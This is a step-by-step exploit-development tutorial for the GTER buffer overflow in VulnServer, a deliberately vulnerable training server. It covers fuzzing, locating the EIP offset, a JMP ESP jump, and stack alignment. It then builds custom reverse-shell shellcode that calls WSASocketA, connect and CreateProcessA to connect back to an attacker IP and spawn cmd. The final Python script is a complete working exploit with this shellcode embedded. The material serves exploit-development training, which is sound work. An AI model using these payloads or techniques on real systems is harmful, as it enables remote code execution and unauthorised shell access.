VulnServer: developing an exploit for GTER

We can fuzz the command with spike using the following template:

s_readline();
s_string("GTER ");
s_string_variable("COMMAND");

The application will crash quickly. We can reproduce the crash with the following PoC script:

#!/usr/bin/python

import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

s.send("GTER /.:/" + "A" * 5000 + "\n")
s.close()

We can see the state of the memory after the crash:

memory after crash

We can see that we override EIP and our buffer is somewhere in memory. In order to get a better understanding of the crash, we will send a unique string generated with msf-pattern_create.

Our script will look like the following:

#!/usr/bin/python

import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

unique = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s.send("GTER /.:/" + unique + "\n")
s.close()

string offsets

And once the application crashes, we can use !mona findmsp to find the offsets:

mona findmsp

EIP is at 147, followed by ESP and 20 bytes of buffer. Before EIP there are 147 bytes of available payload.

First of all we find a JMP ESP, we can easily use the 20 bytes of buffer in ESP to jump back at the beginning of our buffer.

mona find jmp esp

We can jump to this memory location: 0x625011d3. It’s a good memory location, as essfunc.dll isn’t compiled with any kind of memory protection. Our script will look as follows:

#!/usr/bin/python

import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# EIP offset at 147
# 0x625011d3 : "jmp esp" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload = "A" * 147
payload += "\xd3\x11\x50\x62"

payload += "C" * (1000 - len(payload))

s.send("GTER /.:/" + payload + "\n")
s.close()

We check that we are actually able to override EIP and reach our breakpoint at 0x625011d3:

eip override

We can use some relative jumps to gain space, but since EAX is pointing at the beginning of our buffer, we can simply align EAX with our payload and jump there. We can use msf-nasm_shell to find the opcodes we need:

#nasm > add eax, 9
00000000 83C009      add eax,byte +0x9
#nasm > jmp eax
00000000 FFE0       jmp eax

We can add these instructions at the ESP offset, so just after our EIP override. Our script will look like follows:

#!/usr/bin/python

import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# EIP offset at 147
# 0x625011d3 : "jmp esp" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload = "A" * 147
payload += "\xd3\x11\x50\x62"

#nasm > add eax, 9
#00000000  83C009            add eax,byte +0x9
#nasm > jmp eax
#00000000  FFE0              jmp eax
payload += "\x83\xC0\x09\xFF\xE0"

payload += "C" * (1000 - len(payload))

s.send("GTER /.:/" + payload + "\n")
s.close()

We can set a breakpoint before the jump and follow the execution till it reaches our buffer of As:

jmp to payload

Now we have 147 bytes of available buffer to write our payload. 147 is unfortunately not enough for a reverse shell generated by msfvenom, which is usually around 350 bytes long.

But luckily, we don’t need the whole payload. A standard reverse shell payload will execute the following instructions:

  1. LoadLibraryA: loads the ws2_32 library.
  2. WSAStartup: initializes the ws2_32 library.
  3. WSASocketA: creates the socket.
  4. connect: connects the socket.
  5. CreateProcessA: spawns a cmd and redirects its IO channels to the socket.
  6. Exit.

This operations are all needed for a functional shell. But in our case, we can skip some of them.

For example, we don’t really care about exiting the program properly, after all we have only 147 bytes and getting our shell is more important.

Also, VulnServer is already using sockets. This means that the ws2_32 library is already loaded and initialized.

This means that we have 147 bytes to squeeze only these three functions: WSASocketA, connect and CreateProcessA.

The first step we have to do, is to find the addresses of this functions in memory. We can do so with a tool called arwin.

arwin addresses

From arwin output, we can see the addresses of our - functions:

The first thing we have to do, is to create our socket. We can look for the documentation of the WSASocketA function on microsoft.com:

https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa

It needs the following parameters:

SOCKET WSAAPI WSASocketA(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

This are the value we have to pass:

WSASocketA(
  2,    // AF_INET
  1,    // SOCK_STREAM
  6,    // IPPROTO_TCP
  NULL,
  0,
  0
);

Notice that we have to push our values into the stack starting from the last. Our assembly code to create the socket will look like this:

[BITS 32]

global _start
_start:

xor eax, eax            ; clear EAX
push eax		            ; dwFlags - 0
push eax		            ; Group - 0
push eax		            ; ProtocolInfo - NULL
xor ebx, ebx	          ; clear EBX
mov bl, 6		            ; EBX = 6
push ebx		            ; Protocol - IPPROTO_TCP = 6
inc eax		              ; EAX = 1
push eax		            ; Type - SOCK_STREAM = 1
inc eax                 ; EAX = 2
push eax		            ; Family - AF_INET = 2
mov ebx, 0x71a38769	    ; WSASocketA - WinXP PRO SP2
xor eax, eax            ; clear EAX
call ebx                ; Call WSASocketA
xchg eax, esi		        ; save socket (returned to EAX) into ESI

We can compile this assembly code with nasm and paste it to our exploit.

Note: I wrote a script to convert binary files into strings ready to be pasted into our exploits, you can find it here.

Now that we have a socket, we have to connect it back to our machine. The connect function documentation is available on microsoft.com here.

These are the parameters it needs:

int WSAAPI connect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen
);

After WSASocketA, we saved our socket in ESI, so the first parameter will be taken from there.

For the second parameter, we will push a sockaddr structure onto the stack and the third parameter is the length of our sockaddr structure, which will be 16.

Our assembly code for the connect will look like this:

[BITS 32]

global _start
_start:

push 0x7801a8c0		   ; c0.a8.01.78 (0xc0a80178) 192.168.1.120
push word 0xd711	   ; port 4567
xor ebx, ebx		     ; clear ebx
add bl, 2            ; add ebx 2
push word bx
mov edx, esp		     ; pointer for SockAddr
push byte 16		     ; AddrLen - 16
push edx		         ; pSockAddr
push esi		         ; saved socket
mov ebx, 0x71a3406a	 ; connect - WinXP PRO SP2
call ebx

Notice that both the IP address and the port, must be spelled reverse.

If we add this two part of the payload to our script, we can follow the execution until it reaches our payload:

socket creation

What is interesting to notice here, is that ESP still points at our aligning instructions, so if we execute our code now, as soon as we start to push stuffs onto the stack our shellcode will be override.

We can try by placing a breakpoint just after the execution of our payload. What we will see is that we will get a connection back:

connection back

But we won’t reach our breakpoint, the application will crash on some trash instruction.

In order to avoid this, we have to move ESP before our shellcode (or far enough), so that we won’t override our shellcode.

In ESP we put some code to realign EAX with our payload, it won’t be hard to first store the EAX value into ESP:

#nasm > mov esp,eax
00000000 89C4       mov esp,eax

We can add this extra instruction to our script, which will now look as follows:

#!/usr/bin/python

import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# EIP offset at 147
# 0x625011d3 : "jmp esp" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
# WSASocketA (2, 1, 6, 0, 0, 0)
payload = "\x31\xc0\x50\x50\x50\x31\xdb\xb3\x06\x53\x40\x50\x40\x50\xbb\x69\x87\xa3\x71\x31\xc0\xff\xd3\x96"
# connect
payload += "\x68\xc0\xa8\x01\x78\x66\x68\x11\xd7\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x56\xbb\x6a\x40\xa3\x71\xff\xd3"
payload += "A" * (147 - len(payload))
payload += "\xd3\x11\x50\x62"

#nasm > mov esp,eax
#00000000  89C4              mov esp,eax
#nasm > add eax, 9
#00000000  83C009            add eax,byte +0x9
#nasm > jmp eax
#00000000  FFE0              jmp eax
payload += "\x89\xC4\x83\xC0\x09\xFF\xE0"

payload += "C" * (1000 - len(payload))

s.send("GTER /.:/" + payload + "\n")
s.close()

If we follow the execution now, we see that the value of ESP now points at the beginning of our buffer:

esp at gter

And if we set a breakpoint just at the end of our payload, we can correctly reach it and the code has not been altered:

connection complete

So now we have to spawn our shell. At last, we need to deal with CreateProcessA. Documentation is available here.

These are the needed parameters for CreateProcessA:

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

Most of these value will be NULL. The most importants for us are the pointer to StartupInfo, which will contain information about IO channels, and CommandLine, which will contains a pointer to a string with our command.

The pointer to cmd command will be saved as follows:

;--- Setup our pointer to cmd
mov edx, 0x646d6363	; cmdd
shr edx, 8		      ; cmd, we need the shift to not send null bytes
push edx            ; save the value to the stack
mov ecx, esp		    ; store it in ECX

Please note that we can’t store the name cmd directly, as it’s shorter than 4 bytes and we would have to use a null byte.

The ProcessInformation pointer can point to garbage. We don’t need it.

;--- Pointer to ProcessInfo
sub esp, 16     ; point ESP to garbage
mov ebx, esp		; save pointer to garbage in EBX

And finally we can create our StartupInfo structure, which is documented here.

Luckily for us, most of its values will be null. We only will take care of storing a pointer to our socket for the IO channels.

Our final assembly code for the CreateProcessA will be as follows:

[BITS 32]

global _start
_start:

;--- Setup our pointer to cmd
mov edx, 0x646d6363	; cmdd
shr edx, 8		      ; cmd, we need the shift to not send null bytes
push edx            ; save the value to the stack
mov ecx, esp		    ; store it in ECX

;--- Pointer to ProcessInfo
sub esp, 16     ; point ESP to garbage
mov ebx, esp		; save pointer to garbage in EBX

;--- Pointer to StartUpInfo
push esi		  ; hStdError - saved socket
push esi		  ; hStdOutput - saved socket
push esi		  ; hStdInput -saved socket
xor edx, edx  ; clear edx
push edx		  ; pReserved2 - NULL
push edx		  ; cbReserved2 -NULL
xor eax, eax  ; clear eax
inc eax
rol eax, 8
push eax		  ; dwFlags - STARTF_USESTDHANDLES 0x00000100
push edx		  ; dwFillAttribute - NULL
push edx		  ; dwYCountChars - NULL
push edx		  ; dwXCountChars - NULL
push edx		  ; dwYSize - NULL
push edx		  ; dwXSize - NULL
push edx		  ; dwY - NULL
push edx		  ; dwX - NULL
push edx		  ; pTitle - NULL
push edx		  ; pDesktop - NULL
push edx		  ; pReserved - NULL
xor eax, eax  ; clear eax
add al, 44
push eax		  ; cb - size of structure
mov eax, esp	; pStartupInfo

;--- CreateProcessA
push ebx		        ; pProcessInfo
push eax		        ; pStartupInfo
push edx		        ; CurrentDirectory - NULL
push edx		        ; pEnvironment - NULL
push edx		        ; CreationFlags - 0
xor eax, eax
inc eax
push eax		        ; InheritHandles -TRUE - 1
push edx		        ; pThreadAttributes -NULL
push edx		        ; pProcessAttributes - NULL

push ecx		        ; pCommandLine - pointer to "cmd"
push edx		        ; ApplicationName - NULL

mov ebx, 0x7c802367	; CreateProcessA - WinXP PRO SP2
call ebx

We can compile this code and add the resulting binary string into our script. We can now run it against the target machine and obtain our shell. This will be our final script:

#!/usr/bin/python

import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# EIP offset at 147
# 0x625011d3 : "jmp esp" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
# WSASocketA (2, 1, 6, 0, 0, 0)
payload = "\x31\xc0\x50\x50\x50\x31\xdb\xb3\x06\x53\x40\x50\x40\x50\xbb\x69\x87\xa3\x71\x31\xc0\xff\xd3\x96"
# connect
payload += "\x68\xc0\xa8\x01\x78\x66\x68\x11\xd7\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x56\xbb\x6a\x40\xa3\x71\xff\xd3"
# CreateProcessA cmd
payload += "\xba\x63\x63\x6d\x64\xc1\xea\x08\x52\x89\xe1\x83\xec\x10\x89\xe3\x56\x56\x56\x31\xd2\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xbb\x67\x23\x80\x7c\xff\xd3"

print(len(payload))
payload += "A" * (147 - len(payload))
payload += "\xd3\x11\x50\x62"

#nasm > mov esp,eax
#00000000  89C4              mov esp,eax
#nasm > add eax, 9
#00000000  83C009            add eax,byte +0x9
#nasm > jmp eax
#00000000  FFE0              jmp eax
payload += "\x89\xC4\x83\xC0\x09\xFF\xE0"

payload += "C" * (1000 - len(payload))

s.send("GTER /.:/" + payload + "\n")
s.close()

final shell

Our payload is now only 120 bytes long.